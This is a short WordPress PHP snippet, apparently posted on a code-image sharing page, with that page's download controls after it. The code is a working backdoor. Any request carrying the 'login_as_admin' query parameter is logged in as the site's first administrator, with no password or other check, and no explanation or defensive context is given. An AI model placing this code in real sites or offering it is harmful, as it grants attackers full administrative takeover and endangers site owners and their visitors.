if( isset( $_GET['login_as_admin'] ) ){
add_action( 'init', function(){
$users = get_users( [ 'role' => 'administrator' ] );
wp_set_auth_cookie( $users[0]->ID );
} );
}
Preview:
downloadDownload PNG
downloadDownload JPEG
downloadDownload SVG
Tip: You can change the style, width & colours of the snippet with the inspect tool before clicking Download!
Click to optimize width for Twitter